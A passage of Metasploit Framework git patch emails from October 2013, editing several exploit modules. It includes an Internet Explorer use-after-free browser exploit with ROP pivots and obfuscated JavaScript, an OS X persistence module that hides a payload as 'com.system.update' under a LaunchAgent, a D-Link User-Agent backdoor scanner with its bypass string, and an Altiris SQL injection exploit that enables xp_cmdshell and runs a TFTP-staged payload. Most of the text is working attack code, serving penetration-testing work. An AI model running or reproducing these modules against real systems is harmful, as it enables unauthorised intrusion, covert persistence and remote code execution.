Protector A.06.21/ + elsif fingerprint =~ /HP Data Protector A\.06\.21/ return Exploit::CheckCode::Appears end @@ -177,9 +177,9 @@ class Metasploit3 < Msf::Exploit::Remote return nil end - if fingerprint =~ /HP Data Protector A.06.20: INET, internal build 370/ + if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/ return targets[1] - elsif fingerprint =~ /HP Data Protector A.07.00: INET, internal build 72/ + elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/ return targets[2] else return nil From bc317760dcedbf98ce437f51153fe7d0ff9fac81 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 12 Oct 2013 16:37:49 -0500 Subject: [PATCH 148/409] Make the GET params a little bit harder to read. --- .../browser/ms13_080_cdisplaypointer.rb | 36 ++++++++++++++----- 1 file changed, 27 insertions(+), 9 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 14ac6b5c34..98122bf152 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -109,17 +109,17 @@ function dll() { if ((typeof checka) == "object" && (typeof checkb) == "object") { try{location.href='ms-help://'} catch(e){} - return "office2010"; + return "#{@js_office_2010_str}"; } else if ((typeof checka) == "number" && (typeof checkb) == "object") { try{location.href='ms-help://'} catch(e){} - return "office2007"; + return "#{@js_office_2007_str}"; } - return "default"; + return "#{@js_default_str}"; } window.onload = function() { - window.location = "#{get_resource}/search?o=" + os() + "&d=" + dll(); + window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll(); } @@ -132,9 +132,13 @@ window.onload = function() { def get_payload(target_info) rop_payload = '' + os = target_info[:os] + dll_used = '' case target_info[:dll] - when 'office2007' + when @js_office_2007_str + dll_used = "Office 2007" + pivot = [ 0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4 @@ -151,7 +155,9 @@ window.onload = function() { rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot}) - when 'office2010' + when @js_office_2010_str + dll_used = "Office 2010" + pivot = [ 0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4 @@ -166,9 +172,11 @@ window.onload = function() { rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot}) - when 'default' + when @js_default_str if target_info[:os] =~ /windows xp/i # XP uses msvcrt.dll + dll_used = "msvcrt" + pivot = [ 0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret @@ -177,6 +185,8 @@ window.onload = function() { rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot}) else # Assuming this is Win 7, and we'll use Java 6 ROP + dll_used = "Java" + pivot = [ 0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn @@ -187,6 +197,8 @@ window.onload = function() { end end + print_status("Target uses #{os} with #{dll_used} DLL") + rop_payload end @@ -196,10 +208,9 @@ window.onload = function() { js_payload = '' if os =~ /Windows (7|XP) MSIE 8\.0/ - print_status("Target uses #{os} with #{dll} DLL... engaging.") js_payload = Rex::Text.to_unescape(get_payload(target_info)) else - print_error("Target uses #{os} with #{dll} DLL... not supported by this attack.") + print_error("Target not supported by this attack.") return "" end @@ -281,6 +292,13 @@ function kaiju() { send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) end + def exploit + @js_office_2007_str = Rex::Text.rand_text_alpha(4) + @js_office_2010_str = Rex::Text.rand_text_alpha(5) + @js_default_str = Rex::Text.rand_text_alpha(6) + super + end + end From 5a1b09957086d1e78c94eb02078533d5e0cc4ed2 Mon Sep 17 00:00:00 2001 From: joev Date: Sat, 12 Oct 2013 16:47:35 -0500 Subject: [PATCH 149/409] Make osx persistence a local exploit. --- modules/exploits/osx/local/persistence.rb | 248 +++++++++++----------- 1 file changed, 123 insertions(+), 125 deletions(-) diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index e80fd8ec8b..894c67ddaa 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -9,142 +9,140 @@ require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' +require 'msf/core/exploit/exe' -class Metasploit3 < Msf::Post +class Metasploit3 < Msf::Exploit::Local - include Msf::Post::Common - include Msf::Post::File - def initialize(info={}) - super( update_info( info, - 'Name' => 'Mac OS X Persistent Payload Installer', - 'Description' => %q{ - This module provides persistence boot payload via creating proper entry (plist) in LaunchAgents directory for current user. - }, - 'License' => MSF_LICENSE, - 'Author' => ['Marcin \'Icewall\' Noga < marcin[at]icewall.pl >'], - 'Version' => '', - 'Platform' => [ 'osx' ], - 'SessionTypes' => [ 'shell' ] - )) + include Msf::Post::Common + include Msf::Post::File - register_options( - [ - OptAddress.new('LHOST', [true, 'IP for persistent payload to connect to.']), - OptInt.new('LPORT', [true, 'Port for persistent payload to connect to.']), - OptString.new('PAYLOAD', [true, 'Selected payload','osx/x86/shell_reverse_tcp']), - OptString.new('BACKDOOR_FILE_NAME', [false, 'Backdoor file name. If not set, random name is generated.']), - OptString.new('BACKDOOR_DIR_NAME', [false, 'Name of backdoor directory. If not set, random name is generated.']), - OptString.new('BACKDOOR_TO_UPLOAD', [false, 'Path to backdoor ready to upload instead of generating payload.']), - ], self.class) - end + def initialize(info={}) + super( update_info( info, + 'Name' => 'Mac OS X Persistent Payload Installer', + 'Description' => %q{ + This module provides a persistence boot payload via creating proper entry (plist) + in LaunchAgents directory for current user. + }, + 'License' => MSF_LICENSE, + 'Author' => [ "Marcin 'Icewall' Noga ", "joev" ], + 'Platform' => [ 'osx' ], + 'Targets' => [ [ 'Mac OS X', {} ] ], + 'DefaultTarget' => 0, + 'SessionTypes' => [ 'shell' ] + # no meterpreter support :( since we need to know what cmd to exec (java -jar ...) + )) - def run + register_options([ + OptString.new('BACKDOOR_PATH', + [true, 'Path to hide to persistent exe on the target.', '/Users//Library/./'] + ) + ], self.class) - lhost = datastore['LHOST'] - lport = datastore['LPORT'] - payload = datastore['PAYLOAD'] + register_advanced_options([ + OptPath.new('EXE::Custom', + [false, 'Use custom exe instead of automatically generating a payload exe'] + ) + ], self.class) + end - if datastore['BACKDOOR_TO_UPLOAD'].nil? or datastore['BACKDOOR_TO_UPLOAD'].empty? - # Generate backdoor with selected payload - backdoor_content = generate_backdoor(payload, lhost, lport) - else - print_status("Reading backdoor to upload") - backdoor_content = ::IO.read(datastore['BACKDOOR_TO_UPLOAD']) - end + def run + # Store backdoor on target machine + write_backdoor(generate_payload_exe) - # Store backdoor on target machine - backdoor_path = write_backdoor(backdoor_content) + # Add file to LaunchAgents dir + add_launchctl_item + end - # Add file to LaunchAgents dir - add_launchctl_item(backdoor_path) - end + private - def generate_backdoor(name, lhost, lport, opts = "") - print_status("Generating payload : #{name}") - payload = session.framework.payloads.create(name) - payload.datastore['LHOST'] = lhost - payload.datastore['LPORT'] = lport - # Validate the options for the module - payload.options.validate(payload.datastore) - # Grab necessary info about payload - arch = payload.arch - plat = payload.platform.platforms - raw = payload.generate - # Create executable file - print_status("Generating executable file") - backdoor_content = ::Msf::Util::EXE.to_executable(session.framework,arch,plat,raw) + # @return [String] an exe containing our payload + def generate_payload_exe(opts = {}) + if datastore.include? 'EXE::Custom' + get_custom_exe + else + # Fall back to x86... + if not opts[:arch] or opts[:arch].length < 1 + opts[:arch] = [ ARCH_X86 ] + end + super(opts) + end + end - if(!backdoor_content and plat.index(Msf::Module::Platform::Java)) - backdoor_content = payload.generate_jar.pack - end + # used when user has specified EXE::Custom datastore advanced option + # @return [String] custom exe file, from path specified in EXE::Custom + def get_custom_exe + path = datastore['EXE::Custom'] + if path.present? + print_status("Using custom payload #{path}, other payload settings will be ignored!") + datastore['DisablePayloadHandler'] = true + exe = File.read(path) + end + end - return backdoor_content - end + # drops the file to disk, then makes it executable + # @param [String] exe the executable to drop + def write_backdoor(exe) + print_status("Dropping backdoor executable...") + if write_file(backdoor_path, exe) + print_good("Backdoor stored to #{backdoor_path}") + cmd_exec("chmod +x #{backdoor_path}") + # TODO: for java/python/php meterpreter payloads, this won't work. + # we could add some logic for dropping jar/py/php, then dropping a + # bash script that invokes java -jar or python or whatever. + # + # but really the meterpreter payloads should "know" about this functionality + # (e.g. they could return a cmd to exec, since that is required) + else + fail_with("Error dropping backdoor to #{backdoor_path}") + end + end - def write_backdoor(backdoor_content) - backdoor_file_name = datastore['BACKDOOR_FILE_NAME'] - backdoor_dir_name = datastore['BACKDOOR_DIR_NAME'] + # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path + def add_launchctl_item + label = File.basename(backdoor_path) + plist_file = label + ".plist" + plist_path = "/Users/#{user}/Library/LaunchAgents/" + # just in case... + cmd_exec("mkdir -p", plist_path) + # build the plist + plist_path = plist_path + plist_file + item = <<-EOI + + + + + Label + #{label} + Program + #{backdoor_path} + ProgramArguments + + #{backdoor_path} + + RunAtLoad + + KeepAlive + + + + EOI + if write_file(plist_path,item) + print_good("LaunchAgent added: #{plist_path}") + else + fail_with("Error writing LaunchAgent item to #{plist_path}") + end + end - # get user name - user = cmd_exec("whoami") - # generate dir name if needed - if backdoor_dir_name.nil? or backdoor_dir_name.empty? - backdoor_dir_name = Rex::Text.rand_text_alpha((rand(8)+6)) - end - #generate file name if needed - if backdoor_file_name.nil? or backdoor_file_name.empty? - backdoor_file_name = Rex::Text.rand_text_alpha((rand(8)+6)) - end + # path to upload the backdoor. any or substrings will be replaced. + # @return [String] path to drop the backdoor payload. + def backdoor_path + @backdoor_path ||= (datastore['BACKDOOR_PATH'] + .gsub(''){ Rex::Text.rand_text_alpha(8) } + .gsub(''){ user }) + end - tmp_dir = "/Users/%s/Library/%s" % [user,backdoor_dir_name] - #create dir - cmd_exec("mkdir -p",tmp_dir) - - backdoor_path = tmp_dir + "/" + backdoor_file_name - #TODO if a backdoor is a java/meterpreter version, add proper bash script for the execution or modify plist template - if write_file(backdoor_path,backdoor_content) - print_good("Backdoor stored to #{backdoor_path}") - #set +x - cmd_exec("chmod +x #{backdoor_path}") - else - print_error("Error during dropping backdoor") - end - return backdoor_path - end - - def add_launchctl_item(path) - # get user name - user = cmd_exec("whoami") - label = File.basename(path) - plist_file = label + ".plist" - plist_path = "/Users/" + user + "/Library/LaunchAgents/" - #create dir..just to be sure - cmd_exec("mkdir",plist_path) - plist_path = plist_path + plist_file - item = <<-EOI - - - - - Label - #{label} - Program - #{path} - ProgramArguments - - #{path} - - RunAtLoad - - - - EOI - if write_file(plist_path,item) - print_good("LaunchAgent added: #{plist_file}") - else - print_error("Error during adding LaunchAgent item") - end - - end - -end \ No newline at end of file + # @return [String] username of the session + def user + @user ||= cmd_exec('whoami') + end +end From 6f23e95c144a0e2dfd5462d8a6f21e25e0b2164f Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 11 Oct 2013 15:19:34 -0400 Subject: [PATCH 150/409] Fix an endianess issue in pymeterpreter registry_query_value. --- data/meterpreter/ext_server_stdapi.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index b0b02b86e6..b64b7278e4 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -902,9 +902,12 @@ def stdapi_registry_query_value(request, response): if value_type.value == REG_SZ: response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00') elif value_type.value == REG_DWORD: - response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4]) + value = value_data[:4] + value.reverse() + value = ''.join(map(chr, value)) + response += tlv_pack(TLV_TYPE_VALUE_DATA, value) else: - response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value]) + response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value)) return ERROR_SUCCESS, response return ERROR_FAILURE, response From 9725918be83321b1ff0dcb9c1c136a3d4759b232 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 12 Oct 2013 18:51:57 -0500 Subject: [PATCH 151/409] Remove junk variables/params --- modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 98122bf152..b60631106f 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -202,9 +202,8 @@ window.onload = function() { rop_payload end - def get_sploit_html(cli, target_info) + def get_sploit_html(target_info) os = target_info[:os] - dll = target_info[:dll] js_payload = '' if os =~ /Windows (7|XP) MSIE 8\.0/ @@ -282,7 +281,7 @@ function kaiju() { def on_request_uri(cli, request) if request.uri =~ /search\?o=(.+)\&d=(.+)$/ target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) } - sploit = get_sploit_html(cli, target_info) + sploit = get_sploit_html(target_info) send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) return end From 78b29b5f20f3b10ce75f9fa12a10703408ba3015 Mon Sep 17 00:00:00 2001 From: joev Date: Sat, 12 Oct 2013 20:50:53 -0500 Subject: [PATCH 152/409] Bring osx persistence module to the finish line. --- modules/exploits/osx/local/persistence.rb | 59 ++++++++++++----------- 1 file changed, 30 insertions(+), 29 deletions(-) diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index 894c67ddaa..8f8cda1a97 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -10,31 +10,37 @@ require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/exploit/exe' +require 'shellwords' class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File + include Exploit::EXE def initialize(info={}) super( update_info( info, 'Name' => 'Mac OS X Persistent Payload Installer', 'Description' => %q{ - This module provides a persistence boot payload via creating proper entry (plist) - in LaunchAgents directory for current user. + This module provides a persistence boot payload by creating a plist entry + in current user's ~/Library/LaunchAgents directory. Whenever the user logs in, + the LaunchAgent will be invoked and our dropped payload will run. }, 'License' => MSF_LICENSE, - 'Author' => [ "Marcin 'Icewall' Noga ", "joev" ], + 'Author' => [ "Marcin 'Icewall' Noga ", "joev" ], 'Platform' => [ 'osx' ], 'Targets' => [ [ 'Mac OS X', {} ] ], 'DefaultTarget' => 0, - 'SessionTypes' => [ 'shell' ] - # no meterpreter support :( since we need to know what cmd to exec (java -jar ...) + 'SessionTypes' => [ 'shell' ] )) register_options([ OptString.new('BACKDOOR_PATH', - [true, 'Path to hide to persistent exe on the target.', '/Users//Library/./'] + [true, 'Path to hide the backdoor on the target.', '/Users//Library/./com.system.update'] + ), + OptBool.new('KEEPALIVE', + [true, 'Continually restart the payload exe if it crashes/exits.', true] ) ], self.class) @@ -45,53 +51,45 @@ class Metasploit3 < Msf::Exploit::Local ], self.class) end - def run + def exploit # Store backdoor on target machine write_backdoor(generate_payload_exe) - - # Add file to LaunchAgents dir + # Add plist file to LaunchAgents dir add_launchctl_item end private # @return [String] an exe containing our payload - def generate_payload_exe(opts = {}) + def generate_payload_exe if datastore.include? 'EXE::Custom' get_custom_exe else - # Fall back to x86... - if not opts[:arch] or opts[:arch].length < 1 - opts[:arch] = [ ARCH_X86 ] - end - super(opts) + super end end # used when user has specified EXE::Custom datastore advanced option # @return [String] custom exe file, from path specified in EXE::Custom def get_custom_exe - path = datastore['EXE::Custom'] - if path.present? - print_status("Using custom payload #{path}, other payload settings will be ignored!") - datastore['DisablePayloadHandler'] = true - exe = File.read(path) - end + custom_path = datastore['EXE::Custom'] + print_status("Using custom payload #{path}, other payload settings will be ignored!") + datastore['DisablePayloadHandler'] = true + File.read(custom_path) end # drops the file to disk, then makes it executable # @param [String] exe the executable to drop def write_backdoor(exe) print_status("Dropping backdoor executable...") + cmd_exec("mkdir -p", File.dirname(backdoor_path)) + if write_file(backdoor_path, exe) print_good("Backdoor stored to #{backdoor_path}") - cmd_exec("chmod +x #{backdoor_path}") + cmd_exec("chmod +x", backdoor_path) # TODO: for java/python/php meterpreter payloads, this won't work. # we could add some logic for dropping jar/py/php, then dropping a - # bash script that invokes java -jar or python or whatever. - # - # but really the meterpreter payloads should "know" about this functionality - # (e.g. they could return a cmd to exec, since that is required) + # bash script that invokes java -jar or python or whatever. else fail_with("Error dropping backdoor to #{backdoor_path}") end @@ -122,10 +120,11 @@ class Metasploit3 < Msf::Exploit::Local RunAtLoad KeepAlive - + <#{keepalive?}/> EOI + if write_file(plist_path,item) print_good("LaunchAgent added: #{plist_path}") else @@ -138,11 +137,13 @@ class Metasploit3 < Msf::Exploit::Local def backdoor_path @backdoor_path ||= (datastore['BACKDOOR_PATH'] .gsub(''){ Rex::Text.rand_text_alpha(8) } - .gsub(''){ user }) + .gsub('', user)) end + def keepalive?; datastore['KEEPALIVE']; end + # @return [String] username of the session def user - @user ||= cmd_exec('whoami') + @user ||= cmd_exec('whoami').strip end end From ea9235c5061be17905514c48b1b811e53ff76f36 Mon Sep 17 00:00:00 2001 From: joev Date: Sat, 12 Oct 2013 20:53:16 -0500 Subject: [PATCH 153/409] Better whitespace. --- modules/exploits/osx/local/persistence.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index 8f8cda1a97..d4cb86290c 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -37,7 +37,8 @@ class Metasploit3 < Msf::Exploit::Local register_options([ OptString.new('BACKDOOR_PATH', - [true, 'Path to hide the backdoor on the target.', '/Users//Library/./com.system.update'] + [true, 'Path to hide the backdoor on the target.', + '/Users//Library/./com.system.update'] ), OptBool.new('KEEPALIVE', [true, 'Continually restart the payload exe if it crashes/exits.', true] From e2a9339592fd40ec99fcee082731e097830d4716 Mon Sep 17 00:00:00 2001 From: joev Date: Sat, 12 Oct 2013 21:20:11 -0500 Subject: [PATCH 154/409] Add CVE to joomla media upload module. --- modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index c9f5a764fd..68878aeadc 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -33,6 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2013-5576' ], [ 'OSVDB', '95933' ], [ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ], [ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ], From 008f787627b14d2465d47bb22e5035da0391f5b4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 13 Oct 2013 14:42:45 -0500 Subject: [PATCH 155/409] Add module for the dlink user-agent backdoor --- .../scanner/http/dlink_user_agent_backdoor.rb | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb new file mode 100644 index 0000000000..a031e48f5b --- /dev/null +++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb @@ -0,0 +1,87 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'DLink User-Agent Backdoor Scanner', + 'Description' => %q{ + This module attempts to find DLink devices running Alphanetworks web interfaces affected + by the backdoor found on the User-Agent header. This module has been tested successfully + on a DIR-100 device with firmware version v1.13. + }, + 'Author' => + [ + 'Craig Heffner', # vulnerability discovery + 'Michael Messner ', # Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ] + ], + ) + + end + + def is_alpha_web_server? + begin + res = send_request_cgi({'uri' => '/'}) + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return false + end + + # Signatures: + # * httpd-alphanetworks/2.23 + # * Alpha_webserv + if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i + return true + end + + return false + end + + def run_host(ip) + + if is_alpha_web_server? + vprint_good("#{ip} - Alphanetworks web server detected") + else + vprint_error("#{ip} - Alphanetworks web server doesn't detected") + return + end + + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'agent' => 'xmlset_roodkcableoj28840ybtide' + }) + rescue ::Rex::ConnectionError + vprint_error("#{ip}:#{rport} - Failed to connect to the web server") + return + end + + # DIR-100 device with firmware version v1.13 + # not sure if this matches on other devices + # TODO: Testing on other devices + if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/ + print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"") + end + + end +end From e2c5e6c19fd2f1e8dfab02e32a5a2337d5f2a8d6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 13 Oct 2013 18:28:35 -0500 Subject: [PATCH 156/409] Fix email format --- modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb index a031e48f5b..3e0cbf3d99 100644 --- a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb +++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'Craig Heffner', # vulnerability discovery - 'Michael Messner ', # Metasploit module + 'Michael Messner ', # Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, From 2a1ade254127cc91a810c1889bab949e9468cb17 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 13 Oct 2013 19:29:51 -0500 Subject: [PATCH 157/409] Add disclosure date and some explanation about it --- .../scanner/http/dlink_user_agent_backdoor.rb | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb index 3e0cbf3d99..1b36a906ce 100644 --- a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb +++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb @@ -17,23 +17,26 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'DLink User-Agent Backdoor Scanner', - 'Description' => %q{ + 'Name' => 'DLink User-Agent Backdoor Scanner', + 'Description' => %q{ This module attempts to find DLink devices running Alphanetworks web interfaces affected by the backdoor found on the User-Agent header. This module has been tested successfully on a DIR-100 device with firmware version v1.13. }, - 'Author' => + 'Author' => [ 'Craig Heffner', # vulnerability discovery 'Michael Messner ', # Metasploit module 'juan vazquez' # minor help with msf module ], - 'License' => MSF_LICENSE, - 'References' => + 'License' => MSF_LICENSE, + 'References' => [ [ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ] ], + # First documented in detail by Craig, but looks like it's been known + # (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru + 'DisclosureDate' => "Oct 12 2013" ) end From de156dc8da01c5a9c0036e3d491aee50f550db1c Mon Sep 17 00:00:00 2001 From: root Date: Sun, 13 Oct 2013 22:39:49 -0400 Subject: [PATCH 158/409] new exploit module for CVE-2008-2286, Altiris DS --- .../exploits/windows/mssql/altiris_DS_sqli.rb | 221 ++++++++++++++++++ 1 file changed, 221 insertions(+) create mode 100644 modules/exploits/windows/mssql/altiris_DS_sqli.rb diff --git a/modules/exploits/windows/mssql/altiris_DS_sqli.rb b/modules/exploits/windows/mssql/altiris_DS_sqli.rb new file mode 100644 index 0000000000..6d8a2f74d2 --- /dev/null +++ b/modules/exploits/windows/mssql/altiris_DS_sqli.rb @@ -0,0 +1,221 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Symantec Altiris DS SQLi 6.8 - 6.9.164', + 'Description' => %q{ + This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution. + axengine.exe fails to adequately sanitize numeric input fields in "UpdateComputer" + notification Requests. In order to spawn a shell, several SQL injections are required + in close succession, first to enable xp_cmdshell, then retrieve the payload via TFTP + and finally execute it... you may have to be patient. The module also has the capability + to disable/enable local application authentication. This vulnerability was originally + found by Brett Moore of Insomnia Security, the exploit was authored by 3v0lver. + }, + 'Author' => [ '3v0lver' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision: 14319 $', + 'References' => + [ + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-08-024' ], + [ 'BID', '29198'], + [ 'CVE', '2008-2286' ], + ], + 'Targets' => + [ + [ 'Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'DisclosureDate' => 'May 15 2008', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(402), + OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]), + OptBool.new('XP_CMDSHELL', [ false, 'Enable xp_cmdshell prior to sending command', "true"]), + OptString.new('MAC', [ false, 'Specify the MAC address of an existing licensed client node', "" ]), + OptBool.new('DISABLE_SECURITY', [ false, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", "false" ]), + OptBool.new('ENABLE_SECURITY', [ false, "Enable Local Deployment Console Authentication", "false" ]) + ], self.class) + + end + + def windows_stager + execute_cmdstager({ :delay => 1.5, :temp => '%temp%\\'}) + end + + def execute_command(cmd, opts = {}) + + inject=[] + + if datastore['XP_CMDSHELL'] == true + inject+=[ + "#{Rex::Text.to_hex("sp_configure \"show advanced options\", 1; reconfigure",'')}", + "#{Rex::Text.to_hex("sp_configure \"xp_cmdshell\", 1; reconfigure",'')}", + ] + datastore['XP_CMDSHELL'] = false + end + + inject+=["#{Rex::Text.to_hex("wc_upd_disable_security",'')}"] if datastore['DISABLE_SECURITY'] == true + inject+=["#{Rex::Text.to_hex("wc_upd_enable_security",'')}"] if datastore['ENABLE_SECURITY'] == true + inject+=["#{Rex::Text.to_hex("master.dbo.xp_cmdshell \'cd C:\\Docume~1\\Networ~1\\Locals~1\\temp\\ && cmd.exe /c #{cmd}\'",'')}"] if cmd != nil + + inject.each do |sqli| + + notification = %Q|Request=UpdateComputer +OS-Bit=32 +CPU-Arch=x86 +IP-Address=192.168.20.107 +MAC-Address=005056C000AB +Name=Remove_test +OS=Windows XP +Version=2.6-38 (32-Bit) +LoggedIn=Yes +Boot-Env=Automation +Platform=Linux +Agent-Settings=Same +Sys-Info-TimeZoneBias=0 +Processor=Genuine Intel Intel(R) Core(TM) i7 CPU M 620 @ 2.67GHz +Processor-Speed=2659, null, null;declare @querya VARCHAR(255);select @querya = 0x#{sqli};exec(@querya);-- +\x00 +| + + connect + sock.put(notification) + sock.get_once() + disconnect + + end + end + + def check + + fingerprint = fingerprint_altiris + + if fingerprint =~ /^6\.(\d+)\.(\d+)$/ + print_status "#{rhost}:#{rport} - Altiris DS Version '#{fingerprint}'" + minor = $1.to_i + build = $2.to_i + if minor == 8 and build < 390 + if build == 206 || build == 282 || build == 378 + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Appears + end + elsif minor == 9 and build < 176 + #The existence of versions matching this profile is a possibility... none were observed in the wild though + #as such, we're basing confidence off of Symantec's vulnerability bulletin. + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + else + print_status "#{rhost}:#{rport} - This version isn't exploitable: #{fingerprint}" + return Exploit::CheckCode::Safe + end + + end + + def fingerprint_altiris + +notification = %Q|Request=UpdateComputer +OS-Bit=32 +CPU-Arch=x86 +IP-Address=192.168.20.107 +MAC-Address=005056C000AB +Name=Remove_test +OS=Windows XP +Version=2.6-38 (32-Bit) +LoggedIn=Yes +Boot-Env=Automation +Platform=Linux +Agent-Settings=Same +Sys-Info-TimeZoneBias=0 +Processor=Genuine Intel Intel(R) Core(TM) i7 CPU M 620 @ 2.67GHz +Processor-Speed=2659 +\x00 +| + + connect + sock.put(notification) + response = sock.get_once() + disconnect + + if(response) + result_regex = /Result=(.*)/ + result_response = 